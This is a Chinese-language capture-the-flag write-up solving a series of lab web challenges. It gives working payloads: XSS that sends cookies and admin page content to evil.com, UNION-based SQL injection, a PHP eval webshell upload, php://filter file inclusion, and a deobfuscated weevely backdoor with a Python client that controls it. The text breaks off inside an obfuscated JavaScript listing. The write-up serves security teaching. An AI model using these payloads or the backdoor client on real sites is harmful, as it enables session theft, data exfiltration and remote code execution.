0%

BlueWhale OJ Web WriteUp Part 1

Welcome to web(5)

Web 签到题,进入 php0 给一段代码

1
2
3
4
5
if(isset($_GET['key'])){
if($_GET['key'] == 'areyousure'){
echo 'For this exercise, flag is: ******';
}
}

提交 GET 参数 key,值为 areyousure,就可以得到 flag:flag{We1C0me_to_W3b}

Calculator(25)

给了一道简单的计算题,但是数字很大,要在 1.5 秒内算出来,手算根本不可能,这时候就需要借助脚本的帮助。
后端的逻辑是用户第一次访问的时候给一道计算题,这时候生成一个 session,服务器凭借这个 session 来判断用户时候已经领取过一个计算题,如果已经领取过就接受用户的答案。
可以用 Python 在第一次 GET 获取计算表达式以后保存 session,然后再用这个 session 把答案发过去,可以用正则表达式提取第一次 Get 获取的网页中的计算表达式。

1
2
3
4
5
6
7
8
9
10
11
import requests
import re

url = 'http://vps1.blue-whale.me:23331/calculator/'
sess = requests.Session()
ret = sess.get(url).content
exp = re.findall(r'<span id="exp">(.*?)</span>', ret)[0]
ans = str(eval(exp.replace('=', '')))
print exp + ans
print sess.get(url + '?answer=' + ans).content

也可以用 JavaScript 直接再网页上操作计算答案然后再自动提交,不过手速要快一点

1
2
document.getElementsByName('answer')[0].value=eval(document.getElementById('exp').innerText.replace('=',''));
document.getElementsByTagName('form')[0].submit();

答案正确并且在 1.5 秒内提交即可获取 flag:flag{yes_you_are_calculat0r}

RapidTyping(50)

和 Calculater 差不多的套路,给一个很长的图片验证码,要求在 2.5 秒内输入,手工输入肯定是不可能的,查看网页源码可以发现验证码图片使用的是 svg+xml,那么就代表所有的验证码都是直接用 svg 绘制的,并且验证码的字符就在网页上,svg 的绘制内容采用 base64 编码,解码出以后再用正则表达式获取所有的验证码,需要注意的就是验证码是由顺序的,这个顺序要按照 x 的坐标顺序排列。

和 Calculater 一样,先 Get 获取验证码以后解出验证码在用同一个 session 发过去,可以用正则表达式提取 svg 的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import base64
import re

url = 'http://vps1.blue-whale.me:23331/captcha/'
sess = requests.Session()
svg = base64.b64decode(
re.findall(r'<img src="data:image/svg\+xml;base64,(.*?)" />',
sess.get(url).content)[0]
)
captchas = {
int(item[0]): item[1] for item in re.findall(
r'<text x="(\d+)" y="\d+" style="fill: rgb\(\d+, \d+, \d+\);">(\w)</text>', svg
)
}
captcha = ''.join([captchas[x] for x in sorted(captchas.keys())])
print sess.get(url + '?code='+captcha).content

也可以用 Javascript,不过手速要快一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
svg = document.createElement("div");
svg.innerHTML = atob(document.getElementsByTagName('img')[0].src.substr(26));
captcha = '';
text = Array.from(svg.getElementsByTagName('svg')[0].getElementsByTagName('text')).sort(
function(a,b){
return parseInt(a.getAttribute('x'))-parseInt(b.getAttribute('x'));
}
).forEach(
function(item){
captcha += item.innerHTML;
}
);
document.getElementsByName('code')[0].value = captcha;
document.getElementsByTagName('form')[0].submit();

答案正确并且在 2.5 秒内解出即可获得 flag:flag{svg_C4P7cHa_n0t_$ecUr3}

XSS1(75)

基本的 XSS,源码如下

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['name'])){
$text = $_GET['name'];
$text = str_replace('"','',$text);
$text = str_replace('>','',$text);
$text = str_replace('<','',$text);
$text = str_replace("\n",'',$text);
echo "<svg><script>var a=\"". $text . "\"</script></svg>";
}
echo '<hr />';
show_source(__FILE__);

过滤了双引号,尖括号和换行符,但是可以看到最后输出的位置是在 svg 的标签里,所以可以利用 svg 标签可以解析 HTMl 实体的特性完成注入。

测试 payload 如下:

1
&amp;quot;;alert(123);var b=&amp;quot;

先用 &amp;quot; 闭合前面的双引号再加上 ; 结束语句,后面就可以执行任意 javascript 代码了,最后再用一个 &amp;quot; 闭合后面的双引号,或者也可以直接注释掉后面的双引号。

题目要求是拿到管理员的 cookie,payload 如下,

1
&amp;quot;;img=document.createElement('img');img.src='http://evil.com/xss/?cookie='+escape(document.cookie);document.getElementsByTagName('form')[0].appendChild(img);//

记得在输入的时候用 url 编码一下

1
%26quot%3B%3Bimg%3Ddocument.createElement%28%27img%27%29%3Bimg.src%3D%27http%3A%2F%2Fevil.com%2Fxss%2F%3Fcookie%3D%27%2Bescape%28document.cookie%29%3Bdocument.getElementsByTagName%28%27form%27%29%5B0%5D.appendChild%28img%29%3B%2F%2F

最后从 cookie 里获取 flag:flag{Br0wseR_F3atUre}

XSS 2(75)

这次没有直接给源码,输出的引号前面会被加上反斜杠转义,但是查看网页源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
<title>Wired filter</title>
<meta charset="GBK" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
</head>
<body>
<h1>Wired filter</h1>
<script>
var a="";
</script>

<form action="" method="GET">
<input type="text" name="name" autofocus="autofocus" />
<input type="submit" />
</form>
</body>
</html>

可以看到输出的网页上采用了 GBK 编码,可以用宽字节注入。测试 payload 为:

1
%fa%22;alert(1);//

在双字节编码中,前面的 %fa 加上反斜杠可以构成汉字“鶿”的编码,这样后面的双引号 %22 就可以成功逃逸,其他的引号可以使用 String.fromCharCode 绕过。

窃取 cookie 的 payload 如下

1
%fa%22;img=document.createElement(String.fromCharCode(105,109,103));img.src=String.fromCharCode(104,116,116,112,58,47,47,101,118,105,108,46,99,111,109,47,120,115,115,47,63,99,111,111,107,105,101,45)%2bescape%28document.cookie%29;document.getElementsByTagName(String.fromCharCode(98,111,100,121))[0].appendChild(img);//

最后获得 flag 为:flag{GbK_is_3V1L}

Basic SQL(75)

最基础的 SQL 注入,可以用 SQLmap 直接扫或者手工注入。首选用 payload' or '1'='1发现可以获取所有新闻,推测查询语句为:select * from news where search like '{$_POST["search"]}';

获取查询出的列数:a' union select '1','2','3

获取所有数据库:a' union select '1',(select group_concat(SCHEMA_NAME) from information_schema.schemata),'3

获取当前数据库名:a' union select '1',database(),'3

获取当前数据库的所有表名:a' union select '1',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'3

获取字段名:a' union select '1',(select group_concat(column_name) from information_schema.columns where table_name='f1agfl4gher3'),'3

获取 flag:a' union select '1',(select h3r31sfl4g from f1agfl4gher3),'3

最后得到 flag 为:flag{sql_information_schema_hack}

Basic PHP(75)

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
require_once('flag.php');

if (isset($_GET['name']) and isset($_GET['password']) && isset($_GET['test'])){
// ========== Stage 1 ==========
$test=$_GET['test'];
$test=md5($test);

if($test=='0') {
print 'You passed stage 1.<br />';
}
else{
print "Game over at stage 1.";
exit();
}

// ========== Stage 2 ==========
if ($_GET['name'] == $_GET['password']){
print 'Your password can not be your name.';
exit();
}
else if (sha1($_GET['name']) === sha1($_GET['password'])){
print 'You passed stage 2.<br />';
print 'Flag: '.$flag;
}
else{
print 'Invalid password';
exit();
}
}
echo '<hr />';
show_source(__FILE__);
?>
</body>
</html>

看源码一共有两关,第一关需要

1
md5($_GET['test']) == 0;

这里用的是弱等于,所以只需要找到一个 md5 是 0e 开的字符串就行,例如QNKCDZO,在弱等于时 0e 开头的字符串将会识别为科学计数法。第二关需要

1
$_GET['name'] != $_GET['password'] && sha1($_GET['name']) === sha1($_GET['password']

这里需要 name 和 password 不相等,但是他们的 sha1 要相等,并且还是强等于,由于 sha1 函数无法处理数组,所以当 name 和 password 同是数组时 sha1 函数将返回 false,并且 name 和 password 是一个不相等的数组。
payload 为:/?test=QNKCDZO&name[]=a&password[]=b

最后获得 flag 为:flag{=_=PHP_1S_TH3_BES7_L4NGUAGE}

Basic PHP 2(75)

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
if(isset($_GET['content'])){
$filename = 'config.php';
$content = $_GET['content'];

if(is_int(stripos($content, 'php')) || is_int(stripos($content, '<'))) {
echo 'Invalid input';
} else {
file_put_contents($filename, $content);
echo 'Success';
}
}

目的是要写入一个 webshell,文件名是 config.php,所以不需要担心文件后缀的问题,但是源码里不允许在文件内容中出现 php 以及 <,类似 Basic PHP 1,当传入的 content 是一个数组时,stripos 函数将会返回 false,这样就可以绕过 is_int 函数。

payload 为:/index.php?content[]=<%3Fphp+eval%28%24_GET%5Ba%5D%29%3B

最后获取 flag 为:flag{pwnhub_first_shalon_ctf_web_php}

BabyXSS(100)

是一个很简单的打 cookie 的 XSS,提到了 flag 在 admin.php 里,但是需要 admin 的 cookie。

测试 paylaod:<img src='http://evil.com/xss/'/>,发现有反应,那就可以直接在参数里带上 cookie

1
<img src='http://evil.com/xss/?cookie='+escape(document.cookie)/>

但是发现发来的 cookie 是空的,所以拿不到管理员的 cookie,但是可以用 CSRF,通过 XSS 用管理员的 cookie 去访问 admin.php,最后再把访问到的结果发到 XSS 服务器上。payload 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<body></body>
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4){
img = document.createElement('img');
img.src = 'http://evil.com/xss/?content=' + escape(xhr.responseText);
document.getElementsByTagName('body')[0].appendChild(img);
}
}
xhr.open('GET', '/admin.php', true);
xhr.send(null);
</script>

最后获得的 flag 为:flag{this_is_a_xss_flag}

BasicFileInclude(150)

最简单的文件包含题目,url 里直接包含了 flag.php,那么就可以使用 php 伪协议读取 flag.php,由于再后端结尾自动拼接了”.php”,所以就不用加上 php 文件后缀了。

payload 如下:?page=php://filter/read=convert.base64-encode/resource=flag

最后获得 flag 为:flag{really_basic_skill_web_dog_should_know}

FxxkingBackdoor(175)

下载打开 backdoor.php,这是一个木马软件 weevely 生成的 php 木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* Signature For Report
*/$c='ue)ery)e"],$q);$q=array_valu)ees($q);preg_)ema)etch_all()e"/([\w]';/*
*/$e='$i<$l);$j++)e,$i++){$o.=$t{)e$i}^$k{$j};}}retur)en )e$o;}$r=$_SER';/*
*/$G='o=ob_get_conte)ents();ob_e)end_cle)ean();$d=base)e64_encod)ee(x(g';/*
*/$g='$)ekh)e="d0)e3a";$kf="1f3c";function x($t)e,$k){$c=strlen($k);$l=';/*
*/$F='=strpos($s[)e$i],$f);)eif($e){$k=$kh.$kf;ob)e_sta)ert();@eval)e(@';/*
*/$I='gz)eunco)empress(@)ex(@b)ease6)e4_decode(p)ere)eg_repl)eace()ear)';/*
*/$h='_sta)ert();$s=&$_SES)eSION;$ss="substr";$sl="s)etrtolower";$i=)e$';/*
*/$K='U)eAGE"];if($rr&&)e$ra){$u=pa)erse_url($rr))e;parse)e_str)e($u["q';/*
*/$M='m[1][)e0].$m[1])e[1];$h=$sl($ss(m)ed5($i.$k)eh),0,3)e));$f=$sl($s';/*
*/$C='s()emd5($i)e.$kf),0,3));$p="";)efor($z=1;$z<count($m[1]);$z++)$p.';/*
*/$n=')eVE)eR;$rr=@$r["HTTP_REFERE)eR")e];$ra=)e@$r["HTTP_AC)eCEPT_LANG';/*
*/$p='=$q)e[$m[2][$z]];if(strpos()e$p)e,$)eh)===0){$s[$)ei])e=")e";$p=$';/*
*/$s='zcompress($o),$k));print("<$k>$d</$)ek>");@sess)eion_de)estroy();';/*
*/$R=')ess($)ep,3))e;}if(array_key_exists()e$i,$)es))e){$s)e[$i].=$p;$e';/*
*/$V='strlen($t);$o="";f)eor($)ei=0;)e$i)e<$l;)e){)efor($j=0)e;($j<$c&&';/*
*/$y=')[\w-]+(?:;q=0.([\d]))?)e,?/",$ra,$m);i)ef()e$q&&)e$m){@sessi)eon';/*
*/$P='eray("/_/","/-/"),array("/","+"),$ss()e$s[$i],0)e,$e))),$)ek)));$';/*
*/$t='}}}}';$Y=str_replace('b','','crbebbabte_funcbbtion');/*
*/$L=str_replace(')e','',$g.$V.$e.$n.$K.$c.$y.$h.$M.$C.$p.$R.$F.$I.$P.$G.$s.$t);/*
*/echo $L.'<br/>';echo $Y;$v=$Y('',$L);$v();/*
*/

最前面都是经过混淆后的代码,最后真正开始执行的语句是

1
$v=$Y('',$L);$v();

所以在这条语句前打印一下看看它执行了什么

1
echo $Y.'<br/>';highlight_string($L);$v=$Y('',$L);$v();

输出如下

1
2
create_function
$kh="d03a";$kf="1f3c";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

因此 L 里面存储的是 webshell 的代码,Y 是 create_funciton,所以最后创建了一个匿名函数 v 去执行 webshell,将 L 的代码格式化后如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
$kh="d03a";
$kf="1f3c";
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {
$i
}
^$k {
$j
}
;
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)) {
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e) {
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}

再进一步反混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
$kh="d03a";
$kf="1f3c";
function _xor($content, $key) {
$result = "";
for ($i=0; $i<strlen($content);)
for ($j=0; $j<strlen($key)&&$i<strlen($content); $j++, $i++)
$result .= $content{$i}^$key{$j};
return $result;
}


$r = $_SERVER;
$referer = @$r["HTTP_REFERER"];
$accept_language = @$r["HTTP_ACCEPT_LANGUAGE"];
if($referer && $accept_language) {
// 解析 http referer 的 query
parse_str(parse_url($referer)["query"], $query);
$query = array_values($query);

// 在 accept language 里找到 paylaod 参数
// 例如 fr-CH, fr;q=0.0, en;q=0.1, de;q=0.2, *;q=0.5
// 结果为
// matched[0] = {0 => 'fr-CH,', 1 => 'fr;q=0.0,', 2 => 'en;q=0.1,', 3 => 'de;q=0.2,'}
// matched[1] = {0 => 'f', 1 => 'f', 2 => 'e', 3 => 'd'}
// matched[2] = {0 => '', 1 => '0', 2 => '1', 3 => '2'}

preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $accept_language, $matched);
if($query && $matched) {
@session_start();
// 取前两个权重开头字母作为用户标识,例如从 fr-CH, fr;q=0.0, en;q=0.1, de;q=0.2, *;q=0.5 里取出 'ff'
$user = $matched[1][0].$matched[1][1];
// 计算 payload 起始和结束标识符
$head = strtolower(substr(md5($user.$kh), 0, 3)); // md5("ff" + kh)[:3]
$tail = strtolower(substr(md5($user.$kf), 0, 3)); // md5("ff" + kf)[:3]

$payload = "";
for ($i=1; $i<count($matched[1]); $i++)
// 取出所有的权重数字作为在 query 里的 payload 参数
// 例如从 fr-CH, fr;q=0.0, en;q=0.1, de;q=0.2, *;q=0.5 取出 "0", "1" 和 "2",并且在 query 里寻找第 0,第 1 和第 2 个参数
$payload .= $query[$matched[2][$i]];

// 如果 payload 以 head 开头
if(strpos($payload, $head) === 0) {
$_SESSION[$user] = ""; // 清空 session["ff"]
$payload = substr($payload, 3); // 从 payload 的开头中剪掉 head
}

// 如果 user 有 session,即 payload 以 head 开头
if(array_key_exists($user, $_SESSION)) {
$_SESSION[$user] .= $payload; // 获取 payload
// 根据 tail 标识符找到 payload 结尾
$pos = strpos($_SESSION[$user], $tail);
if($pos) {
// 异或用的 key
$key = $kh.$kf;

ob_start();
$payload = substr($_SESSION[$user], 0, $pos); // 截取 payload,从这里开始的 paylaod 就是去除了 head 和 tail 的
$payload = preg_replace(array("/_/","/-/"), array("/","+"), $payload); // 将_和 - 替换为 / 和 +
$payload = @base64_decode($payload); // base64 解码
$payload = @_xor($payload, $key); // 异或解密
$payload = @gzuncompress($payload); // 解压缩
@eval($payload); // 执行代码
$output = ob_get_contents(); // 获取执行结果
ob_end_clean();
// 将执行结果压缩,异或加密,base64 编码后输出到网页中
$output = base64_encode(_xor(gzcompress($output),$key));
print("<$key>$output</$key>");
@session_destroy();
}
}
}
}

总的来说原理就是先用 accept language 里提取出每个权重的首字母和权重数字,将前两个权重首字母作为用户的标识,将所有的权重数字作为 payload 数组的下标,payload 分开以数组的方式存放在 referer 的查询里,并且 payload 要以用户标识加 kh 的 MD5 前三位开头,以用户表示加 kf 的 MD5 的前三位结尾。

编写利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import base64
import zlib
import re
import hashlib

url = 'http://vps1.blue-whale.me:23332/backdoor.php'
kh = 'd03a'
kf = '1f3c'
key = kh + kf
sess = requests.Session()


def xor(content, key):
result = ''
i = 0
while i < len(content):
j = 0
while j < len(key) and i < len(content):
result += chr(ord(content[i]) ^ ord(key[j]))
i += 1
j += 1
return result


def hack(code):
head = hashlib.md5('ff' + kh).hexdigest()[:3]
tail = hashlib.md5('ff' + kf).hexdigest()[:3]
payload = zlib.compress(code)
payload = xor(payload, key)
payload = base64.b64encode(payload)
payload = payload.replace('/', '_').replace('+', '-')
headers = {
'Referer': 'http://evil.com/?a=%s&b=%s&c=%s' % (head, payload, tail),
'Accept-Language': 'fr-CH, fr;q=0.0, en;q=0.1, de;q=0.2, *;q=0.5'
}
result = sess.get(url, headers=headers).content
result = re.findall('<%s>(.*?)</%s>' % (key, key), result)[0]
result = base64.b64decode(result)
result = xor(result, key)
result = zlib.decompress(result)
return result


while True:
print hack(raw_input('php> '))

最后得到 flag 为:flag{Y0U_r_brave_t0_so1ve_probl3M}

Global Page(175)

随便点一个 page,在 Warning 里面显示了

1
2
3
Warning: include(pwn/zh-CN.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 39

Warning: include(): Failed opening 'pwn/zh-CN.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 39

所以是一个文件包含,根据输入的 page 包含一个 page/zh-CN.php 的文件,用 php 伪协议读掩码,%00 截断后面的 /zh-CN.php

1
php://filter/read=convert.base64-encode/resource=index.php%00

但是发现过滤了“/”和“.”,并且无法使用 %00 截断,所以不能通过 page 进行文件包含,但是可以发现 page 后面的 /zh-CH.php 刚好是 accept-language 里面的语言,因此就可以通过修改 accept-language 进行文件包含,发送请求包如下

1
2
3
4
5
6
7
8
9
10
GET /?page=php: HTTP/1.1
Host: vps1.blue-whale.me:23334
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,/filter/read=convert.base64-encode/resource=index;q=0.8
Connection: close


将因为存在 page 参数才会开始包含,但是 page 里不能含有“/”,因此可以将 page 设置为“php:”,在 Accept-Language 里设置为“/filter/read=convert.base64-encode/resource=index;q=0.8”即可包含到 index 源码,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

<?php
ini_set('display_errors', 1);
include "flag.php";
?>
<!doctype html>
<html>
<head>
<meta charset=utf-8>
<title>Global Page</title>
<style>
.rtl {
direction: rtl;
}
</style>
</head>

<body>
<?php
$dir = "";
if(isset($_GET['page'])) {
$dir = str_replace(['.', '/'], '', $_GET['page']);
}

if(empty($dir)) {
?>
<ul>
<li><a href="./?page=pwn">Pwn</a></li>
<li><del>Tokyo Westerns</del></li>
<li><a href="./?page=ctf">CTF</a></li>
</ul>
<?php
}
else {
foreach(explode(",", $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) {
$l = trim(explode(";", $lang)[0]);
?>
<p<?=($l==='he')?" class=rtl":""?>>
<?php
include "$dir/$l.php";
?>
</p>
<?php
}
}
?>
</body>
</html>

最后包含 flag.php 获取 flag:flag{i_f0und_SiMp13_LFI_gogogo}

BabyCrack(200)

类似 FxxkingBackdoor,是 JavaScript 的反混淆,给一个输入需要符合一定条件才会得到 flag,而整个解密输入的逻辑都在一个 js 文件中,在网页源码里拿到最开始的源码 =_=.js 如下

1
var _0x180a=['random','charCodeAt','fromCharCode','parse','substr','\x5cw+','replace','(3(){(3\x20a(){7{(3\x20b(2){9((\x27\x27+(2/2)).5!==1||2%g===0){(3(){}).8(\x274\x27)()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();','||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20','pop','length','join','getElementById','message','log','Welcome\x20to\x20HCTF:>','Congratulations!\x20you\x20got\x20it!','Sorry,\x20you\x20are\x20wrong...','window.console.clear();window.console.log(\x27Welcome\x20to\x20HCTF\x20:>\x27)','version','error','download','substring','push','Function','charAt','idle','pyW5F1U43VI','init','https://the-extension.com','local','storage','eval','then','get','getTime','setUTCHours','origin','set','GET','loading','status','removeListener','onUpdated','callee','addListener','onMessage','runtime','executeScript','data','test','http://','Url\x20error','query','filter','active','floor'];(function(_0xd4b7d6,_0xad25ab){var _0x5e3956=function(_0x1661d3){while(--_0x1661d3){_0xd4b7d6['push'](_0xd4b7d6['shift']());}};_0x5e3956(++_0xad25ab);}(_0x180a,0x1a2));var _0xa180=function(_0x5c351c,_0x2046d8){_0x5c351c=_0x5c351c-0x0;var _0x26f3b3=_0x180a[_0x5c351c];return _0x26f3b3;};function check(_0x5b7c0c){try{var _0x2e2f8d=['code',_0xa180('0x0'),_0xa180('0x1'),_0xa180('0x2'),'invalidMonetizationCode',_0xa180('0x3'),_0xa180('0x4'),_0xa180('0x5'),_0xa180('0x6'),_0xa180('0x7'),_0xa180('0x8'),_0xa180('0x9'),_0xa180('0xa'),_0xa180('0xb'),_0xa180('0xc'),_0xa180('0xd'),_0xa180('0xe'),_0xa180('0xf'),_0xa180('0x10'),_0xa180('0x11'),'url',_0xa180('0x12'),_0xa180('0x13'),_0xa180('0x14'),_0xa180('0x15'),_0xa180('0x16'),_0xa180('0x17'),_0xa180('0x18'),'tabs',_0xa180('0x19'),_0xa180('0x1a'),_0xa180('0x1b'),_0xa180('0x1c'),_0xa180('0x1d'),'replace',_0xa180('0x1e'),_0xa180('0x1f'),'includes',_0xa180('0x20'),'length',_0xa180('0x21'),_0xa180('0x22'),_0xa180('0x23'),_0xa180('0x24'),_0xa180('0x25'),_0xa180('0x26'),_0xa180('0x27'),_0xa180('0x28'),_0xa180('0x29'),'toString',_0xa180('0x2a'),'split'];var _0x50559f=_0x5b7c0c[_0x2e2f8d[0x5]](0x0,0x4);var _0x5cea12=parseInt(btoa(_0x50559f),0x20);eval(function(_0x200db2,_0x177f13,_0x46da6f,_0x802d91,_0x2d59cf,_0x2829f2){_0x2d59cf=function(_0x4be75f){return _0x4be75f['toString'](_0x177f13);};if(!''['replace'](/^/,String)){while(_0x46da6f--)_0x2829f2[_0x2d59cf(_0x46da6f)]=_0x802d91[_0x46da6f]||_0x2d59cf(_0x46da6f);_0x802d91=[function(_0x5e8f1a){return _0x2829f2[_0x5e8f1a];}];_0x2d59cf=function(){return _0xa180('0x2b');};_0x46da6f=0x1;};while(_0x46da6f--)if(_0x802d91[_0x46da6f])_0x200db2=_0x200db2[_0xa180('0x2c')](new RegExp('\x5cb'+_0x2d59cf(_0x46da6f)+'\x5cb','g'),_0x802d91[_0x46da6f]);return _0x200db2;}(_0xa180('0x2d'),0x11,0x11,_0xa180('0x2e')['split']('|'),0x0,{}));(function(_0x3291b7,_0xced890){var _0xaed809=function(_0x3aba26){while(--_0x3aba26){_0x3291b7[_0xa180('0x4')](_0x3291b7['shift']());}};_0xaed809(++_0xced890);}(_0x2e2f8d,_0x5cea12%0x7b));var _0x43c8d1=function(_0x3120e0){var _0x3120e0=parseInt(_0x3120e0,0x10);var _0x3a882f=_0x2e2f8d[_0x3120e0];return _0x3a882f;};var _0x1c3854=function(_0x52ba71){var _0x52b956='0x';for(var _0x59c050=0x0;_0x59c050<_0x52ba71[_0x43c8d1(0x8)];_0x59c050++){_0x52b956+=_0x52ba71[_0x43c8d1('f')](_0x59c050)[_0x43c8d1(0xc)](0x10);}return _0x52b956;};var _0x76e1e8=_0x5b7c0c[_0x43c8d1(0xe)]('_');var _0x34f55b=(_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](-0x2,0x2))^_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](0x4,0x1)))%_0x76e1e8[0x0][_0x43c8d1(0x8)]==0x5;if(!_0x34f55b){return![];}b2c=function(_0x3f9bc5){var _0x3c3bd8='ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';var _0x4dc510=[];var _0x4a199f=Math[_0xa180('0x25')](_0x3f9bc5[_0x43c8d1(0x8)]/0x5);var _0x4ee491=_0x3f9bc5[_0x43c8d1(0x8)]%0x5;if(_0x4ee491!=0x0){for(var _0x1e1753=0x0;_0x1e1753<0x5-_0x4ee491;_0x1e1753++){_0x3f9bc5+='';}_0x4a199f+=0x1;}for(_0x1e1753=0x0;_0x1e1753<_0x4a199f;_0x1e1753++){_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5)>>0x3));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5)&0x7)<<0x2|_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x1)>>0x6));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x1)&0x3f)>>0x1));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x1)&0x1)<<0x4|_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x2)>>0x4));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x2)&0xf)<<0x1|_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x3)>>0x7));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x3)&0x7f)>>0x2));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x3)&0x3)<<0x3|_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x4)>>0x5));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x4)&0x1f));}var _0x545c12=0x0;if(_0x4ee491==0x1)_0x545c12=0x6;else if(_0x4ee491==0x2)_0x545c12=0x4;else if(_0x4ee491==0x3)_0x545c12=0x3;else 